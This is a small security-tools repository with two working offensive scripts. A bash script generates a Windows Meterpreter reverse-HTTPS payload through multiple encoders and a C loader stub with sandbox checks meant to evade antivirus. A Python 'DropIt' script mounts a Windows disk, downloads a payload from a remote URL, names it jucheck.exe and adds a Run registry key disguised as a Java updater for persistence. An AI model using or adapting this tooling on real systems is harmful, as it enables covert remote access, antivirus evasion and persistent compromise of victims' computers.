├── LICENSE ├── README.md ├── generate_payload.sh └── local_win_payload_drop.py /LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2014 Matt 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | SecTools 2 | ======== 3 | 4 | Security scripts and programs I've made 5 | -------------------------------------------------------------------------------- /generate_payload.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Original concept and script by Astr0baby 3 | # Edited by Vanish3r 4 | # Modified by Kerberos (that's me); big thanks to the two links below! 5 | # Script found here: http://www.youtube.com/watch?v=SNbQaU1qyZ8 6 | # AV evasion stub found here: http://schierlm.users.sourceforge.net/avevasion.html 7 | # Note: there are a lot of versions of this script floating around, this is just mine and all proper attribution has been given as far as I'm aware. I'll gladly amend anything missing upon request. 8 | loc=".msfpayload" 9 | tag="\e[5;32m+\e[0m" 10 | 11 | # Run as root 12 | if [ "$(id -u)" != "0" ]; then 13 | echo -e "\e[0;31mThis script must be run as root.\e[0m" 1>&2 14 | exit 1 15 | fi 16 | 17 | # Clean and re-create temporary directory 18 | rm -rf $loc 19 | mkdir $loc 20 | cd $loc 21 | 22 | # msfvenom check 23 | if [ ! -n "$(which msfvenom)" ]; then 24 | echo -e "\e[0;31mError: Failed to find msfvenom. Do you have Metasploit installed?\e[0m" 25 | exit 1 26 | fi 27 | 28 | # Get payload 29 | echo -e "\e[4;35mPayload\e[0m \e[0;36m(empty for https meterpreter)\e[0m: \c" 30 | read pay 31 | if [ "$pay" == "" ]; then pay="windows/meterpreter/reverse_https"; fi # Default to x86 32 | 33 | # Get connect-back IP/DDNS 34 | echo -e "\e[0;36mDetected Network Interfaces\e[0m:\e[0;33m" 35 | cat /proc/net/dev | tr -s ' ' | cut -d ' ' -f1,2 | sed -e '1,2d' 36 | echo -e "\e[4;35mInterface\e[0m \e[0;36m(empty for custom IP/DDNS)\e[0m: \c" 37 | read iface 38 | 39 | # Get IP of selected interface (or custom IP/DDNS) 40 | OS="$(uname)" 41 | IP="" 42 | if [ "$iface" == "" ]; then 43 | echo -e "\e[4;35mCustom IP/DDNS\e[0m: \c" 44 | read IP 45 | else 46 | case $OS in 47 | Linux) IP=`ifconfig $iface | grep 'inet addr:' | grep -v '127.0.0.1' | cut -d: -f2 | awk '{ print $1}'`;; 48 | *) IP="Unknown";; 49 | esac 50 | fi 51 | 52 | if [[ "$IP" == "Unknown" || "$IP" == "" ]]; then 53 | echo -e "\e[0;31mError: Failed to determine IP address\e[0m" 54 | exit 1; 55 | fi 56 | 57 | # Get port ... 58 | echo -e "\e[4;35mRemote Listener Port\e[0m: \c" 59 | read port 60 | 61 | # Validate port 62 | if [[ $port -gt 65535 || $port -lt 1 ]]; then 63 | echo -e "\e[0;31mError: Invalid port number, valid ports are 1-65535\e[0m" 64 | exit 1 65 | fi 66 | 67 | # All encoding stages use this setting 68 | echo -e "\e[4;35mEncoding Iterations\e[0m: \c" 69 | read encit 70 | 71 | echo -e "\e[4;35mOutput path\e[0m \e[0;36m(/var/www/meter.exe)\e[0m: \c" 72 | read out 73 | if [ "$out" == "" ]; then out="/var/www/meter.exe"; fi 74 | 75 | # Verify output path 76 | fpath="$(echo $out | sed 's!\(.*\)/.*!\1!')" 77 | if [ ! -d "$fpath" ]; then 78 | echo -e "\e[0;31mError: Invalid output path.\e[0m" 79 | exit 1 80 | fi 81 | 82 | # Generate payload blob (raw byte buffer to insert into C loader stub) via msfvenom (previously used msfpayload) 83 | if [ "$iface" != "" ]; then echo -e "\e[0;36mIP/DDNS\e[0m: \e[0;33m$IP\e[0m"; fi 84 | echo -e "$tag Generating payload blob..." 85 | if [[ $pay != *x64* ]]; then 86 | # Mingw32 check 87 | if [ ! -n "$(which i586-mingw32msvc-gcc)" ]; then 88 | echo -e "\e[0;31mError: Failed to find i586-mingw32msvc-gcc. Try \"apt-get install gcc-mingw32\"\e[0m" 89 | exit 1 90 | fi 91 | 92 | # x86 has way more compatible encoders so we can run it through a bunch of times 93 | msfvenom -p $pay --arch x86 --platform Windows LHOST=$IP LPORT=$port EXITFUNC=process 2> /dev/null | msfencode -e x86/shikata_ga_nai -c $encit -t raw 2> /dev/null | msfencode -e x86/jmp_call_additive -c $encit -t raw 2> /dev/null | msfencode -e x86/call4_dword_xor -c $encit -t raw 2> /dev/null | msfencode -e x86/shikata_ga_nai -c $encit 2> /dev/null 1> payload.c 94 | sed -e 's/\s+\|buf\s=\s//g' payload.c | sed -e '$a;' > buffer.c 95 | else 96 | # Mingw64 check (disabled) 97 | #if [ ! -n "$(which i686-w64-mingw32-gcc)" ]; then 98 | # echo -e "\e[0;31mError: Failed to find i686-w64-mingw32-gcc. Try \"apt-get install gcc-mingw32\"\e[0m" 99 | # exit 1 100 | #fi 101 | 102 | # Custom loader crashes every time on Win7-x64, so for now this will have to suffice 103 | msfvenom -p $pay -f exe --arch x86_64 --platform Windows -e x64/xor -i $encit LHOST=$IP LPORT=$port EXITFUNC=process 2> /dev/null 1> $out 104 | #sed -e 's/unsigned char buf\[\] =//g' payload.c > buffer.c 105 | fi 106 | 107 | # Verify stage 1 succeeded 108 | if [ ! -f payload.c ]; then 109 | echo -e "\e[0;32mError: Failed to generate the payload blob\e[0m" 1>&2 110 | exit 1 111 | fi 112 | 113 | ### 114 | ### Breakdown of C loader stub below 115 | ### 116 | # #include 117 | # #include 118 | # 119 | # unsigned char micro[] = "PAYLOAD_BUFFER"; 120 | # 121 | # int check(void) { 122 | # MSG msg; 123 | # DWORD tc; 124 | # 125 | # // Post a message to the thread that usually indicates the application has finished initializing 126 | # PostThreadMessage(GetCurrentThreadId(), WM_USER + 2, 23, 42); 127 | # 128 | # // Read the message back, exiting if the call fails 129 | # if (!PeekMessage(&msg, (HWND)-1, 0, 0, 0)) return -1; 130 | # 131 | # // Verify that the message returned is the same as the message posted 132 | # if (msg.message != WM_USER + 2 || msg.wParam != 23 || msg.lParam != 42) return -1; 133 | # 134 | # // Store current tick count for verification of sleep() call 135 | # tc = GetTickCount(); 136 | # 137 | # // Sleep for 650ms (possibly outrunning the sandbox's lifetime) 138 | # Sleep(650); 139 | # 140 | # // Verify sleep() call actually slept (and AV didn't nop the sleep() function) 141 | # if(((GetTickCount() - tc) / 300) != 2) return -1; 142 | # 143 | # return 0; 144 | # } 145 | # 146 | # int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR szCmdLine, int iCmdShow) { 147 | # // Create the main window (all Windows applications have one) as hidden by default so it doesn't flash on-screen quickly 148 | # CreateWindow(\"\",\"\", WS_DISABLED, 0, 0, 0, 0, NULL, NULL, hInstance, NULL); 149 | # 150 | # // Verify that we're not running in an AV sandbox 151 | # if(check() == -1) return 0; 152 | # 153 | # // Launch payload 154 | # ((void (*)())micro)(); 155 | # 156 | # Sleep(5000); 157 | # return 0; 158 | # } 159 | 160 | # Build loader C source file from template and stage 1 payload blob 161 | echo -e "$tag Building loader..." 162 | echo "#include " >> final.c 163 | echo "#include " >> final.c 164 | echo "unsigned char micro[]=" >> final.c 165 | cat buffer.c >> final.c 166 | echo "int check(void){MSG msg;DWORD tc;PostThreadMessage(GetCurrentThreadId(),WM_USER+2,23,42);if(!PeekMessage(&msg,(HWND)-1,0,0,0)) return -1;if(msg.message!=WM_USER+2||msg.wParam!=23||msg.lParam!=42) return -1;tc=GetTickCount();Sleep(650);if(((GetTickCount()-tc)/300)!=2) return -1;return 0;}" >> final.c 167 | echo "int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR szCmdLine,int iCmdShow){CreateWindow(\"\",\"\",WS_DISABLED,0,0,0,0,NULL,NULL,hInstance,NULL);if(check()==-1) return 0;((void (*)())micro)();Sleep(5000);return 0;}" >> final.c 168 | 169 | # Verify stage 2 succeeded 170 | if [ ! -f final.c ]; then 171 | echo -e "\e[0;32mError: Failed to build C source file\e[0m" 1>&2 172 | exit 1 173 | fi 174 | 175 | # Compilation 176 | echo -e "$tag Compiling...\e[0;31m" 177 | 178 | #if [[ $pay != *x64* ]]; then 179 | i586-mingw32msvc-gcc final.c -o $out -mwindows -s 180 | #else 181 | #i686-w64-mingw32-gcc final.c -o $out -mwindows -s 182 | #fi 183 | 184 | # Cleanup 185 | if [ "$1" != "noclean" ]; then 186 | echo -e "$tag Cleaning up..." 187 | cd .. 188 | rm -rf .msfpayload 189 | else 190 | echo -e "$tag noclean flag detected, preserving files in .msfpayload" 191 | fi 192 | 193 | if [ -e "$out" ]; then 194 | sumx=`sha1sum "$out" | cut -d " " -f1` 195 | echo -e "$tag Payload saved to \e[0;33m$out\e[0m!" 196 | echo -e "$tag Checksum: \e[0;34m$sumx\e[0m" 197 | echo -e "\e[1;35mFinished. Have a nice day. :)\e[0m" 198 | else 199 | echo -e "\e[0;31mFailed to compile payload vector\e[0m" 200 | exit 1 201 | fi 202 | -------------------------------------------------------------------------------- /local_win_payload_drop.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import sys, argparse, os, urllib2, stat 3 | from subprocess import check_output 4 | 5 | # DropIt - Local Windows Installation Payload Dropper 6 | # Written by Kerberos 7 | # 8 | # Usage: ./dropit.py -d WINDOWS_DRIVE_DEVICE [-w WINDOWS_MOUNT_PATH] [-p BINARY_DROP_PATH] [-u PAYLOAD_URL] [-r AUTORUN_REGISTRY_KEY [-n HKCU_USER (if using HKCU hive)] | -f] [-a KEY_VAL_NAME] 9 | # 10 | # {~ Defaults ~} 11 | # -w: /mnt/win 12 | # -p: /Windows/jucheck.exe 13 | # -u: https://192.168.0.3/payloads/metL7331_java.exe 14 | # -r: HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run 15 | # -a: SunJavaUpdateSchedule 16 | 17 | def CleanUp(): 18 | try: 19 | umnt = check_output(["umount", args.DevicePath]) 20 | if umnt != "": print "Error: failed to unmount Windows drive (" + umnt + ")" 21 | except Exception, err: 22 | print "Error: failed to unmount Windows drive (%s)" % str(err) 23 | 24 | if os.path.exists("regmod.sh"): os.remove("regmod.sh") 25 | 26 | # Set up parser and parse args 27 | print "DropIt - Local Windows Installation Payload Dropper \nWritten by [Kerberos]\n" 28 | parser = argparse.ArgumentParser() 29 | parser.add_argument("-d", action="store", dest="DevicePath", help="The device path of the Windows drive to mount (ex: /dev/sda1).") 30 | parser.add_argument("-w", action="store", dest="MountPath", help="The path to mount the Windows drive to (default: /mnt/win).") 31 | parser.add_argument("-p", action="store", dest="DropPath", help="The path (relative to Windows mount point) to save the payload to (default: /Windows/jucheck.exe).") 32 | parser.add_argument("-u", action="store", dest="PayloadURL", help="The URL to download the payload from (default: https://192.168.0.3/payloads/metL7331_java.exe).") 33 | parser.add_argument("-n", action="store", dest="Username", help="User to inject payload under (only needed if using HKCU-based autorun key).") 34 | parser.add_argument("-a", action="store", dest="KeyValueName", help="The name of the value to create under the registry key.") 35 | vecGroup = parser.add_mutually_exclusive_group() 36 | vecGroup.add_argument("-r", action="store", dest="RegKey", help="The autorun registry key to inject (default: HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run).") 37 | vecGroup.add_argument("-f", action="store_true", dest="FileOnly", help="Only drop payload, don't touch registry (if dropping payload in autorun folder).") 38 | args = parser.parse_args() 39 | 40 | # Verify device path 41 | if args.DevicePath == None: 42 | print "Error: you must specify the device path to the Windows drive to mount" 43 | exit(1) 44 | elif not os.path.exists(args.DevicePath): 45 | print "Error: the specified device does not exist (" + args.DevicePath + ")" 46 | exit(1) 47 | 48 | # Verify mount path 49 | if args.MountPath == None: args.MountPath = "/mnt/win" 50 | if not os.path.exists(args.MountPath): 51 | os.makedirs(args.MountPath) 52 | 53 | # Verify drop path 54 | if args.DropPath == None: 55 | args.DropPath = "/Windows/jucheck.exe" 56 | else: 57 | if args.DropPath.endswith("/"): 58 | args.DropPath += "jucheck.exe" # Append filename none present 59 | if not args.DropPath.endswith(".exe"): 60 | # Might remove this if I decide to implement DLL sideloading or similar vectors 61 | print "Warning: drop path filename does not have an executable file extension (.exe)" 62 | if not args.DropPath.startswith("/"): 63 | args.DropPath = "/" + args.DropPath # Format as relative to mount point 64 | 65 | # Verify payload URL 66 | if args.PayloadURL == None: 67 | args.PayloadURL = "https://192.168.0.3/payloads/metL7331_java.exe" 68 | elif not args.PayloadURL.endswith(".exe"): 69 | # ^ as per above removal message 70 | print "Warning: payload doesn't have an executable file extension (.exe)" 71 | 72 | # Verify registry key 73 | if args.RegKey == None: 74 | args.RegKey = "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run" 75 | elif len(args.RegKey) < 14 or not args.RegKey[0:4] in ["HKLM", "HKCU"]: 76 | print "Error: registry key is not valid (" + ags.RegKey + ")" 77 | exit(1) 78 | if args.RegKey.startswith("HKCU"): 79 | if args.Username == None: 80 | print "Error: when using HKCU-based hives you must specify a username (-n USERNAME)" 81 | exit(1) 82 | 83 | # Verify value name 84 | if args.KeyValueName == None: 85 | args.KeyValueName = "SunJavaUpdateSchedule" 86 | 87 | # Mount Windows drive 88 | try: 89 | mnt = check_output(["mount", args.DevicePath, args.MountPath]) 90 | if mnt != "": 91 | print "Error: failed to mount Windows (" + mnt + ")" 92 | exit(1) 93 | except Exception, err: 94 | print "Error: failed to mount Windows (%s)" % str(err) 95 | exit(1) 96 | 97 | # Validate drop path 98 | print "Checking for existence of " + args.MountPath + os.path.split(args.DropPath)[0] # Debug 99 | if not os.path.exists(args.MountPath + os.path.split(args.DropPath)[0]): 100 | print "Error: the specified drop path does not exist on the mounted Windows drive (" + args.MountPath + args.DropPath + ")" 101 | CleanUp() 102 | exit(1) 103 | 104 | # Validate username (if HKCU used) 105 | if args.RegKey.startswith("HKCU"): 106 | if not os.path.exists(args.MountPath + "/Users/" + args.Username): 107 | print "Error: the specified user does not exist on the mounted Windows system (" + args.Username + ")" 108 | exit(1) 109 | elif args.Username != None: 110 | print "Warning: specifying a username does literally nothing unless you specify a registry key under the HKCU hive" 111 | 112 | # Drop payload 113 | try: 114 | u = urllib2.urlopen(args.PayloadURL) 115 | df = open(args.MountPath + args.DropPath, "w") 116 | df.write(u.read()) 117 | df.close() 118 | print "Saved payload to " + args.MountPath + args.DropPath 119 | except Exception, err: 120 | print "Error: failed to download payload (%s)" % str(err) 121 | CleanUp() 122 | exit(1) 123 | 124 | # Modify registry, if required 125 | if not args.FileOnly: 126 | try: 127 | #script = "#!/usr/bin/hivexsh -wf\n\nload %mountpath%%hivepath%\ncd %regkey%\nlsval\n" 128 | 129 | # Write out initial hivexsh script to get existing values 130 | sf = open("regmod.sh", "w") 131 | sf.write("#!/usr/bin/hivexsh -wf\n\n") 132 | sf.write("load ") 133 | 134 | if args.RegKey.startswith("HKCU"): 135 | # By specifying the user who's HKCU hive we want to inject the autorun key into, we can build the needed filesystem path 136 | sf.write(args.MountPath + "/Users/" + args.Username + "/NTUSER.DAT\n") 137 | sf.write("cd " + args.RegKey[5:] + "\nlsval\n") 138 | else: 139 | # The only HKLM hive file we're interested in for autorun (there are 4) is HKLM\SOFTWARE 140 | sf.write(args.MountPath + "/Windows/System32/config/SOFTWARE\n") 141 | sf.write("cd " + args.RegKey[14:] + "\nlsval\n") 142 | 143 | # Run first version of script and store values returned 144 | sf.close() 145 | perms = os.stat("regmod.sh") 146 | os.chmod("regmod.sh", perms.st_mode | stat.S_IEXEC) 147 | hx = check_output("./regmod.sh", shell=True) 148 | vals = hx.splitlines() 149 | 150 | if len(vals) == 0 or not "=" in vals[0]: 151 | print "Error: unexpected output from hivexsh script:\n" + hx 152 | exit(1) 153 | 154 | print "Detected " + str(len(vals)) + " existing autorun entries" 155 | 156 | # Modify hivexsh script to maintain existing values and append the new key 157 | sf = open("regmod.sh", "r") 158 | lines = sf.read().splitlines() 159 | sf.close() 160 | 161 | if len(lines) == 0: 162 | print "Error: regmod.sh got corrupted somehow" 163 | CleanUp() 164 | exit(1) 165 | 166 | lines[len(lines) - 1] = "setval " + str(len(vals) + 1) # lsval -> setval x 167 | 168 | # Add each existing entry to the script 169 | for val in vals: 170 | n, v = val.split("=") 171 | lines.append(n[1:-1]) # Trim quotes from start and end 172 | lines.append("string:" + v.replace("\\\\", "\\")[1:-1]) # Replace double-backslash and quotes 173 | 174 | # Inject our new key 175 | lines.append(args.KeyValueName) 176 | lines.append("string:\"C:\\" + args.DropPath[1:].replace("/", "\\") + "\"") 177 | lines.append("commit") 178 | 179 | sf = open("regmod.sh", "w") 180 | for line in lines: 181 | sf.write(line + "\n") 182 | 183 | sf.close() 184 | 185 | # Patch new entry in 186 | print "Patching new value into registry" 187 | hx = check_output("./regmod.sh", shell=True) 188 | 189 | if hx != "": 190 | print "Error: unexpected output from hivexsh script:\n" + hx 191 | CleanUp() 192 | exit(1) 193 | 194 | # Success! 195 | print "Success! Payload has been planted, prep a listener!" 196 | except Exception, err: 197 | print "Error: failed to modify registry (%s)" % str(err) 198 | CleanUp() 199 | exit(1) 200 | 201 | CleanUp() 202 | --------------------------------------------------------------------------------